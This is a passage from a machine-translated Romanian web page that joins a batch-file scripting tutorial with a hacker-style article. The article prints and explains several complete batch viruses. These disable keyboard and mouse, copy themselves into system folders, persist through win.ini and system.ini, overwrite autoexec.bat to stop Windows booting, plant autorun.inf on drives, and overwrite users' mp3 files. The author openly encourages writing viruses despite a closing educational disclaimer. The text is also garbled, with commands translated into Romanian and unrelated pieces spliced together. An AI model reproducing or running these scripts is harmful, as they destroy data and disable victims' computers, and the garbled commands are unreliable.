ca</i>", introduceți în loc de extensie " <i>Text document.txt</i>", De exemplu " <i>Document text.bat</i>" și salvați, așa că obținem un fișier batch cu extensia .bat, dar încă nu face nimic.</p> <p>Pentru început, voi da un exemplu de fișier batch pe care îl folosesc la locul meu de muncă pentru a arhiva documente.</p><p>„C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc „C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt</p><p>Acum vă voi spune puțin despre ce face acest fișier batch. WinRar pornește, apoi urmează comenzile Winrar:</p> <ul><li>a este de adăugat la arhivă;</li> <li>-r - procesează subfolderele;</li> <li>-dh - deschide fișierele partajate;</li> <li>-ed - nu adăugați <a href="https://ermake.ru/ro/kak-udalit-pustye-papki-v-vindovs-7-kak-udalit-pustye-papki/">foldere goale</a>;</li> <li>AAAA-mm-zz - adăugați data curentă la numele arhivei ( <i>formatul datei</i>);</li> <li>E:\arhaccounts\ - calea unde va fi amplasată arhiva finală;</li> <li>d:\accounts\*.doc — calea și masca fișierelor care trebuie arhivate.</li> </ul><p>În acest caz, arhivăm toate fișierele Word, Excel și text, nu avem nevoie să arhivăm restul; Arhivarea noastră merge pe un alt disc și copiam și arhiva rezultată pe alt computer, astfel încât arhivele să fie stocate într-un alt birou. Copierea are loc prin rețea, astfel încât computerul pe care este copiată arhiva trebuie să fie pornit. Pentru a face acest lucru, puteți folosi următoarea comandă:</p><p>Copiați E:\arhaccounts\*.rar \\namecomp\arhiv\</p><h2>Exemple de comenzi pentru fișierele bat</h2> <p>Acum să ne uităm la comenzile de bază pe care le puteți utiliza.</p> <p>Dacă trebuie să ștergeți un fișier, scrieți următoarele:</p><p>Del d:\file\test.doc</p><p>Pentru a șterge întregul director, scrieți:</p><p>Rd d:\fișier\</p><p>Dacă trebuie să ștergeți totul dintr-un director de fiecare dată, atunci utilizați asta:</p><p>Eco Y| del d:\file\</p><ul><li>del d:\file\ - aceasta este tocmai ștergerea tuturor fișierelor;</li> <li>ecou Y| — comanda confirmă ștergerea deoarece Dacă nu introduceți această comandă, veți vedea un mesaj care confirmă ștergerea - „Continuați”, și va trebui să răspundeți la această întrebare de fiecare dată.</li> </ul><p>Acum să ne uităm la un exemplu mai complicat, în care condiția este deja îndeplinită:</p><p>@echo off „C:\Program Files\WinRAR\winrar.exe” x -O+ -IBCK d:\test\test.rar d:\test IF NOT EXIST d:\test\123.rar GOTO 1 IF EXIST d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end</p><p>Acum vă voi explica, să presupunem că trebuie să dezarhivați arhiva test.rar, care va conține multe fișiere, dar dacă există un fișier 123.rar acolo, va trebui să fie dezarhivat la rădăcina unității C și restul fișierelor vor rămâne neatins în același director.</p> <p>În ordine, este necesară comanda @echo off, astfel încât nimic să nu se reflecte pe ecran ( <i>practic, dacă nu aveți nevoie, puteți omite să scrieți această linie</i>). Apoi, lansăm Winrar și despachetăm arhiva test.rar în folderul de testare. Apoi apare condiția dacă în folderul de testare ( <i>după testul de despachetare.rar</i>) nu avem fișierul 123.rar, apoi pur și simplu executăm fișierul batch și mergem la linia: 1 și apoi pur și simplu ștergem fișierul test.rar deoarece nu este necesar deoarece Am despachetat deja tot ce avem nevoie. Dar dacă există un fișier 123.rar acolo, atunci execuția fișierului batch merge la linia: 2, după care fișierul 123.rar este deja despachetat la rădăcina unității C. Cu alte cuvinte, avem condiția îndeplinită , dacă există un fișier, atunci faceți acest lucru, dacă nu există niciun fișier, faceți acest lucru. Să presupunem că dacă nu specificăm condiția în acest exemplu, atunci fișierul nostru batch va da o eroare atunci când nu avem fișierul 123.rar în acest folder.</p> <p>Acum să ne uităm la acest exemplu, să presupunem că trebuie să mutați fișierele dintr-un director situat pe unitatea D pe o unitate flash de fiecare dată. De fiecare dată când va trebui să accesați unitatea D de pe computer, să selectați folderul dorit, să selectați toate fișierele din acesta și să-l tăiați, apoi să mergeți la unitatea flash și să-l lipiți. Cu ajutorul unui fișier de corp, acest lucru se face cu un singur clic ( <i>cu o condiție ca de fiecare dată unitatea flash să fie, de exemplu, unitatea G sau orice ai</i>). Iată un exemplu de astfel de fișier batch:</p><p>Mutați „D:\catalog\*.doc” G:\catalognaflehe\</p><p>Și toate fișierele cu extensia doc care se află în directorul D:\catalog vor fi mutate pe unitatea flash. Acum vreau să spun că puteți folosi scripturi în fișiere batch ( <i>scenarii</i>) folosind Windows Scripting Host și, dacă este necesar, de exemplu, pentru a afișa un mesaj după ce fișierele au fost copiate ( <i>exemplul anterior</i>) lipiți asta:</p><p>Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup(„Fișiere copiate”); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js</p><p>De fapt, se poate vorbi mult despre scrierea fișierelor corporale și, bineînțeles, acest lucru nu poate fi încadrat într-un singur articol aici am arătat doar principiile care se folosesc la scriere; <a href="https://ermake.ru/ro/rezervnoe-kopirovanie-ispolzovanie-bat-faila-the-bat-rezervnoe/">fișierele bat</a>, ca să spunem așa, baza. Dacă doriți să aflați mai multe comenzi pentru scrierea fișierelor batch, le puteți vizualiza cu ușurință tastând ( <i>Start - Run - cmd</i>) comanda help, dar, desigur, nu există toate comenzile care pot fi folosite în fișierele batch. Succes la scrierea fișierelor BAT ( <i>cămăși de corp</i>).</p> <p>Pentru a deschide linia de comandă în locația dorită (într-un folder cu fișiere, de exemplu), trebuie să apelați <a href="https://ermake.ru/ro/izmenenie-razmera-znachkov-rabochego-stola-windows-10-cherez-kontekstnoe/">meniul contextual</a>(RMB) cu tasta Shift apăsată:</p> <p>Aflați cum să lucrați cu linia de comandă. Să trecem la comenzi.</p> <p>O listă a tuturor comenzilor din consolă cu descrieri poate fi obținută tastând ajutor în consolă <br>Ajutorul pentru orice comandă poate fi obținut folosind tasta /?. <br>De exemplu: DIR /?</p> <h2>va afișa ajutor pentru toate opțiunile de comandă DIR</h2> <p>Ștergeți fișierele temporare înainte de a opri computerul</p> <p>Cred că toată lumea le-a experimentat cel puțin personal. Fișierul bat vă va ajuta să închideți corect computerul prin ștergerea fișierelor temporare, folderul în care este de obicei descărcat virusul. <a href="https://ermake.ru/ro/zhelezo-dlya-normalnoi-raboty-windows-10-chtoby-byla-polnaya-funkcionalnost/">Data viitoare când dispozitivul pornește (într-un stadiu incipient), virusul face intrări în registru, perturbând</a> munca normala</p> <p>sisteme. Și când desktop-ul se încarcă, situația este mai greu de corectat.</p> Desigur, nu toți virușii funcționează conform acestei scheme, dar, cu toate acestea, ștergerea fișierelor temporare și a cache-ului sistemului înainte de a-l închide reduce semnificativ astfel de riscuri. <p>porniți / așteptați "" "C:\Program Files\CCleaner\CCleaner64.exe" /porniți automat / așteptați "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10</p> <p>CCleaner nu este disponibil implicit pe Windows. Trebuie instalat separat. Puteți descărca programul de instalare de pe site-ul web al dezvoltatorului.</p> <p>Programul CCleaner se lansează mai întâi și șterge toate fișierele temporare de pe computer. Apoi programul de oprire a computerului începe cu o întârziere de 15 secunde pentru a evita posibilele conflicte cu CCleaner.</p> <h2>Este necesar să copiați acest exemplu în el. Plasați o comandă rapidă la fișierul bat pe desktop, atribuiți-i o pictogramă frumoasă și opriți computerul folosind acest buton de comandă rapidă.</h2> <p>Obțineți o listă de fișiere dintr-un folder folosind un fișier Bat</p> <p>Folosesc periodic fișiere bat pentru a obține liste de fișiere din foldere. O situație comună: la serviciu, clienții trimit o arhivă de fotografii de la fotograf. Fotografiile sunt denumite conform articolelor produsului.</p> <ol> <li>Nu există informații text care însoțesc fotografiile. Trebuie să faceți o listă pe baza fotografiilor trimise și să o importați în catalogul de produse de pe site. Pentru fiecare produs au fost făcute mai multe fotografii. Ele sunt numite astfel:</li> <li>Poza produsului cu numărul articolului A1234 (2).jpg</li> </ol><p>Poza produsului cu articolul B1234 (2).jpg</p> Mai întâi primesc o listă cu toate fișierele dintr-un folder folosind următoarea comandă: <p>dir *.jpg /B /L > filelist.txt <a href="https://ermake.ru/ro/nadstrochnyi-simvol-html-delaem-v-css-verhnii-registr-verhnii-i-nizhnii/">Comanda *.jpg vă va permite să luați în considerare numai fișierele JPG la compilarea listei. Comutatorul /B vă va permite să obțineți o listă care conține numai numele fișierelor aflate în folder. Comutatorul /L va afișa toate numele în</a>. Comanda >filelist.txt va crea un fișier text numit filelist și va scrie rezultatul acolo.</p> <p>Următorul pas este să scăpați de duplicatele, astfel încât să existe o singură intrare pentru fiecare produs din listă:</p> tastați filelist.txt | findstr /I /V "(2 )" > temp.txt <p>Comanda findstr va căuta fișierul preluat anterior. Comutatorul /I vă permite să căutați înregistrări fără a ține seama de majuscule și minuscule, iar comutatorul /V înregistrează linii care nu conțin potrivirea pe care o căutați. Ghilimelele indică șirul care trebuie potrivit. Și ultima comandă > temp.txt va scrie în fișierul temp toate rezultatele care nu conțin „(2)” în nume. Ca rezultat voi obține:</p> <ol><li>Poza produsului cu numărul articolului A1234.jpg</li> <li>Poza produsului cu articolul B1234.jpg</li> </ol> <p>Dacă trebuie să efectuați operația opusă - ieșirea se potrivește doar cu fișierul temp.txt, atunci nu îl veți găsi pe cel de care aveți nevoie în lista de comenzi (findstr /?). Există doar un filtru de potrivire exactă inversă - /X .</p> <p>Pentru această sarcină, puteți utiliza comanda pentru a afișa numerele de linie /N în care există potriviri (numerele sunt afișate împreună cu linia):</p> tastați filelist.txt | findstr /I /N "(2 )" > temp.txt <p>Principalul lucru atunci când lucrați cu <a href="https://ermake.ru/ro/skachat-fail-vstavka-rtf-prakticheskaya-rabota-obrabotka-tekstovoi-informacii/">informații text</a> (<a href="https://ermake.ru/ro/vindovs-10-sozdat-tekstovyi-dokument-kak-sozdat-fail-s/">fișiere text</a>) amintiți-vă un punct:</p> <p>Dacă pentru operațiuni text utilizați un fișier ca sursă care nu a fost creat prin linia de comandă, acesta trebuie să fie într-o codificare care să fie înțeleasă de linia de comandă. De exemplu, CP1251 (ANSI).</p> <p>Altfel, riști să obții așa ceva:</p> <p><img src='https://i1.wp.com/nevor.ru/nvfiles/editor/medium/760_cp1251.jpg' width="100%" loading=lazy loading=lazy></p> <h2>Copiați arborele de directoare fără fișiere</h2> <p>Când încep să fac proiecte noi, este nevoie să obțin un arbore de directoare similar cu cel vechi al proiectului, cu diferența că nu ar trebui să existe fișiere în el. Pentru un proiect nou, este mai ușor să adăugați 3-5 fișiere în folderele goale necesare decât să copiați un proiect existent și apoi să ștergeți ceea ce nu este necesar de acolo.</p> <p>Obţine <b>arborele de directoare fără fișiere</b> se poate face folosind următoarea comandă:</p> xcopy folder_1 folder_2 /T /E <p>Comanda xcopy ia ca bază arborele de directoare de la folder_1 și creează o copie a acestuia în folder_2. Comutatorul /T vă permite să copiați directoare fără a copia fișierele din ele. Tasta /E specifică că toate directoarele trebuie copiate, inclusiv. gol.</p> <p>În mod optim, pentru a obține un arbore de directoare, trebuie să deschideți o linie de comandă în folderul părinte al directorului donator și în același folder să creați un director în care va fi plasat arborele copiat. În acest caz, comanda va trebui doar să specifice numele folderului donator și folderului de destinație (ca în exemplul de mai sus).</p> <p>Bună din nou, tânăr codificator-shkoder. Dacă ai citit ultimul meu articol intitulat „Învățare DOS”, atunci nu va fi nimic complicat pentru tine aici. Și dacă nu ați citit-o, atunci uitați-vă cu atenție la comentarii. Deci să începem. Într-o zi stăteam și mă gândeam: nu ar trebui să fac un virus? Și din moment ce nu știam nimic în afară de QBarsik, iar DOS a fost al doilea meu... [Frate], ce crezi, pervers? :)~. Atunci am decis să scriu un virus pe el și s-a dovedit a nu fi atât de dificil. <br><br>Iată corpul primului meu virus</p> <blockquote><p><b>@echo dezactivat <br>tastatura rundll32, dezactivați <br>mouse-ul rundll32, dezactivați <br>copiați %0 %windir%/system <br>echo run=%windir%/system/*.bat >> win.ini <br>echo run=%windir%/system/*.bat >> system.ini <br>etichetă LOHOLAMMER <br><br>deltree /y c:\autoexec.bat > nul <br>echo autoexec.bat echo ESTI LAMMER...xe-xe-xe > c:\autoexec.bat <br>mouse-ul rundll32, activați <br>tastatură rundll32, activați <br>echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup("Atenție,.. Computerul dvs. este infectat cu un virus și nu puteți scăpa de el, hehehehe"); >> %temp%\mes.js <br>porniți %temp%\mes.js <br>deltree /y %temp%\mes.js <br><br>pauză <br>cls</b></p> </blockquote> <p>O voi explica popular și pas cu pas:</p> <blockquote><p>1 @echo off - Interzicem ferestrei DOS să arate ce face scriptul. <br>2 rundll32 keyboard,disable - Dezactivează tastatura, în cazul în care utilizatorul înțelege ce se întâmplă și decide să apese CTRL+C <br>3 rundll32 mouse,disable - Dezactivați și mouse-ul, pentru orice eventualitate. <br>4 copy %0 %windir%/system - Copiați în folderul Windows/system <br>// %0 - Variabilă care indică fișierul original cu virus <br>// %windir% - dosar variabil Masday. <br>5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul win.ini <br>6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul system.ini <br>7 label LOHOLAMMER - Schimbă numele unității c:\ în „LOHOLAMMER” <br>8 dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Verificați dacă există un fișier c:\autoexec.bat apoi eliminați-l <br>//are atribute -h -s -a -r <br>9 deltree /y c:\autoexec.bat - Ștergeți fișierul c:\autoexec.bat, dacă nu eliminați atributele, programul nu va șterge fișierul. <br>10 echo autoexec.bat echo TU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Adăugați text „TU ARE LAMMER...xe-xe-xe” <br>//la un nou fișier autoexec.bat <br>11 rundll32 mouse,enable - Porniți-l, lăsați-l să creadă că nu s-a întâmplat nimic. <br>12 rundll32 keyboard, enable - Porniți-o, lăsați-l să creadă că nu s-a întâmplat nimic. <br>13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup("Atenție,.. Computerul dvs. este infectat cu un virus și nu puteți scăpa de el, hehehehe"); >> %temp%\mes.js <br>porniți %temp%\mes.js. //Acest text afișează o fereastră de mască cu inscripția <br>deltree /y %temp%\mes.js //Șterge apoi urmele de sine. <br>14 attrib c:\autoexec.bat +h +s +a +r - Face fișierul c:\autoexec.bat ascuns și fișierul de sistem, astfel încât lamerul să nu bănuiască nimic. <br>15 pauză - Vă rugăm să apăsați orice tastă (Nu este necesar să apăsați deoarece virusul și-a făcut deja treaba.) <br>16 cls - Hai sa iesim</p> </blockquote> <p>Acest program, data viitoare când reporniți, nu va permite Windows să pornească și va scrie „Ești un lamer”. .Funcționează numai în Windows până la 2000.</p> <blockquote><p><b>@echo dezactivat <br>rundll32 user,setcursorpos //Elimină cursorul de pe ecran în colțul din stânga <br>tastatura rundll32, dezactivați //Anterior <br>mouse-ul rundll32, dezactivați //Anterior <br>utilizator rundll32,butonul mouse-ului. //Aici rearanjam butoanele mouse-ului <br>echo Se actualizează parametrii sistemului, vă rugăm să așteptați... // scrie o scuză :) <br>label mp_k //Modifică numele discului <br>copy mp_k.exe %windir% //Se copiează în folderul Windows <br>dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r <br>deltree /y c:\autoexec.bat <br>dacă există c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat <br>echo run = %windir%\mp_k.exe >> %windir%\win.ini <br>echo run = %windir%\mp_k.exe >> %windir%\system.ini <br>echo > c:\autorun.inf //Aceste operațiuni sunt în virusul anterior. <br>echo open=c:\autoexec.bat > c:\autorun.inf <br>echo > d:\autorun.inf <br>echo open=c:\autoexec.bat > d:\autorun.inf <br>mouse-ul rundll32, activați <br>tastatură rundll32, activați <br>echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup ("Atenție, .. Acum trebuie să reporniți"); >> %temp%\mes.js <br>porniți %temp%\mes.js <br>deltree /y %temp%\mes.js <br>atrib c:\autoexec.bat +h +s +a +r <br>atrib %windir%\mp_k.exe +h +s +a +r <br>atrib c:\autorun.inf +h +s +a +r <br>atrib d:\autorun.inf +h +s +a +r <br>deltree /y mp_k.exe <br>rmdir %windir%\temp //Șterge folderul temp <br>mkdir %windir%\temp //Creează folderul temp <br>cls</b></p> </blockquote> <p>Și acum, ceva nou.</p> <blockquote><p>@echo dezactivat <br>cls <br>echo Vă rugăm să așteptați, se actualizează sistemul... <br>ctty nul. //Aceasta este o comandă nouă, dezactivează textul în fereastră. <br>exist %WINDIR%\SYSTEM\VMM32\%0 goto:end //Dacă virul a fost deja lansat, atunci lăsați-l să se lanseze din nou. <br>copiați %0 %WINDIR%\SYSTEM\VMM32 <br>cd c:\ //Mergeți la alt director <br>pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a // Înlocuiți toate fișierele mp3 din acest folder cu textul dvs <br>CD Muzica mea <br><br>cd My_Music <br>//Înlocuiește toate fișierele mp3 din acest folder cu textul tău <br>cd MyMusic <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>CD Muzică <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>CD Muzică <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>cd Mouzon <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>CD MUZ <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>cd mp3 <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text <br>cd d:\ <br>pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a <br>CD Muzica mea <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Același lucru aici. <br>cd My_Music <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>cd MyMusic <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>CD Muzică <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>CD Muzică <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>cd Mouzon <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>CD MUZ <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>cd mp3 <br>pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a <br>:end //Etichetă <br>start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Porniți în modul minimizat <br>ctty con //Activați permisiunea de a afișa text în fereastră <br>echo Spune la revedere colecție de MP3:)) Virus //Linii de adio <br>cls //Exit.</p> </blockquote> <blockquote><p><b>ctty nul //S-a întâmplat așa <br>REM Chey† Ђь@uoњPSQRVW <br> ?<br>‹tЌ <br>„Q_ь№ у¦u= <br>є №є њъ.я?ђ l,ђ /// <br>copiați %0 *.exe /// <br>copy %0 b.com>nul // Această tehnologie este preluată de la alt virus. <br>b.com. // Aceste mâzgălile sunt interceptate de muncitori în <a href="https://ermake.ru/ro/oshibka-poryadka-zapuska-programmy-1s-pri-sinhronizacii-publikacii/">în acest moment</a> fișiere și le distruge. <br>del b.com. /// Acesta este textul ACM compilat în exe <br>rem_^ZY > <br>echo open=c:\autoexec.bat >> c:\autorun.inf //Si daca este acolo, infecteaza-l. <br>dacă există d:\io.sys //Verificarea disponibilității discului <br>ecou > <br>echo open=c:\autoexec.bat >> d:\autorun.inf //Si daca este acolo, infecteaza-l. <br>dacă există e:\io.sys //Verificarea disponibilității discului <br>ecou > <br>echo open=c:\autoexec.bat >> e:\autorun.inf //Si daca este acolo, infecteaza-l. <br>:end //Marcați începutul CM. <br>cls //Exit</b></p> </blockquote> <p>Ce fel de viruși există? Iar scriitorii de viruși fac tot ce le stă în putință pentru a obține rezultatul dorit. După ce ai citit acest document, poți să scrii cu încredere un virus BAT, chiar mai bine decât al meu ; Ei bine, mult noroc să scrii viruși și mă voi abate și mă duc să beau bere%-).</p> <p>Articolele sunt scrise exclusiv pentru a studia algoritmii virușilor și metodele de combatere a acestora. Algoritmii de funcționare ai virușilor au fost identificați prin decompilarea virușilor găsiți pe Internet și pe site-ul Kaspersky Lab.</p> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </article> </div> <div class="sidebar"> <section class="widget"> <div class="textwidget"> </div> </section> </div> <div class="sidebar"> <section class="widget"><h3 class="widget-title">Alegerea editorului</h3><ul class="rfpw-dropdown-post"> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/kak-ubrat-kompyutera-istoriyu-prosmotrov-istoriya-brauzera-kak-posmotret/"><img style="width: 30%; border-radius: 0;" src="/uploads/318472be0eb2d0a8c6bd7cd6b0782fc1.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/kak-ubrat-kompyutera-istoriyu-prosmotrov-istoriya-brauzera-kak-posmotret/">Istoricul browserului (cum să vizualizați, să ștergeți și să restaurați istoricul browserului)</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Bună ziua, dragi vizitatori! Când lucrăm pe internet pe computerul altcuiva, fără să vrea, lăsăm urme. ÎN...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/chto-delat-esli-pole-obekta-ne-obnaruzheno-chto-delat-esli-pole-obekta-ne/"><img style="width: 30%; border-radius: 0;" src="/uploads/0ff2ca9e01bacd4063a818672dfa2da2.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/chto-delat-esli-pole-obekta-ne-obnaruzheno-chto-delat-esli-pole-obekta-ne/">Ce trebuie făcut dacă „câmpul obiect nu este detectat” Câmpul obiect nu este detectat, activitățile de producție sunt în desfășurare</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Problema pe care o întâmpină utilizatorii 1C este „Eroare: câmpul obiect nu a fost găsit”, cel mai adesea apare când...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/probit-po-nomeru-telefona-vladelca-kak-uznat-gde-nahoditsya-chelovek-po/"><img style="width: 30%; border-radius: 0;" src="/uploads/93701987bbeab63a000d821fce21422a.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/probit-po-nomeru-telefona-vladelca-kak-uznat-gde-nahoditsya-chelovek-po/">Cum să afli unde se află o persoană prin numărul de telefon mobil?</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Unele situații de viață necesită găsirea unei persoane, stabilirea locației acesteia sau aflarea numelui și prenumelui...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/karta-gugl-sputnik-podrobnoe-opisanie-servisa-trehmernye/"><img style="width: 30%; border-radius: 0;" src="/uploads/4c5ec417af15f4923ac9ffe5adb9bde2.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/karta-gugl-sputnik-podrobnoe-opisanie-servisa-trehmernye/">Hărți 3D în Google Maps</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Potrivit multor astronauți, nu există nimic mai frumos decât vederea planetei noastre din exterior. Când Pământul arată ca un mare...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/kak-nastroit-monitor-dlya-pravilnoi-cvetoperedachi-s-pomoshchyu-po/"><img style="width: 30%; border-radius: 0;" src="/uploads/d37aeee8722a180940b4ee4fe58ba9bb.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/kak-nastroit-monitor-dlya-pravilnoi-cvetoperedachi-s-pomoshchyu-po/">Instrucțiuni: Calibrarea ecranului unui laptop - ajustarea redării culorilor</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Cum să ajustați corect schema de culori pe un laptop? Răspuns de la maestru: Ei bine, în sfârșit ai cumpărat un laptop! Astfel de...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/ploho-rabotaet-sensornyi-ekran-chto-delat-esli-sensor-vashego-gadzheta-ne/"><img style="width: 30%; border-radius: 0;" src="/uploads/dfd76163a4eae7ae9235b963b4cb2d97.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/ploho-rabotaet-sensornyi-ekran-chto-delat-esli-sensor-vashego-gadzheta-ne/">Ce să faci dacă senzorul gadgetului tău nu funcționează?</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Tabletele moderne sunt controlate în principal prin intermediul unui ecran tactil. Dacă tableta nu mai funcționează brusc...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/pri-vklyuchenii-kompyutera-postoyanno-zapuskaetsya-bios-noutbuk-pri/"><img style="width: 30%; border-radius: 0;" src="/uploads/caa8bac5259bd1cae8d91ab58aa3d711.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/pri-vklyuchenii-kompyutera-postoyanno-zapuskaetsya-bios-noutbuk-pri/">Laptopul intră în BIOS când este pornit Bios-ul apare când computerul este pornit.</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Astăzi ne vom uita la: Proprietarii oricărei versiuni a sistemului de operare Windows pot avea o situație când...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/kak-pereustanovit-windows-poshagovaya-instrukciya-kak-pereustanovit/"><img style="width: 30%; border-radius: 0;" src="/uploads/2046ab0e80e33c46398798796860ac54.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/kak-pereustanovit-windows-poshagovaya-instrukciya-kak-pereustanovit/">Cum se reinstalează Windows: instrucțiuni pas cu pas Instalarea Windows 7 pe un computer de pe un disc</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Există mai multe opțiuni pentru instalarea acestui sistem de operare și toate diferă doar prin abateri minore de la...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/ro/mdf-chem-otkryt-chem-otkryvat-faily-mdf-i-kak-s-nimi-rabotat-podrobnaya/"><img style="width: 30%; border-radius: 0;" src="/uploads/bda9c17f55759c913b4eb7949ae8e93c.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/mdf-chem-otkryt-chem-otkryvat-faily-mdf-i-kak-s-nimi-rabotat-podrobnaya/">Cum să deschideți fișierele MDF și cum să lucrați cu ele: instrucțiuni detaliate</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Cum se deschide un fișier MDF? Înainte de a afla răspunsul la această întrebare, ar trebui să înțelegeți ce fel de format este. Pe...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a 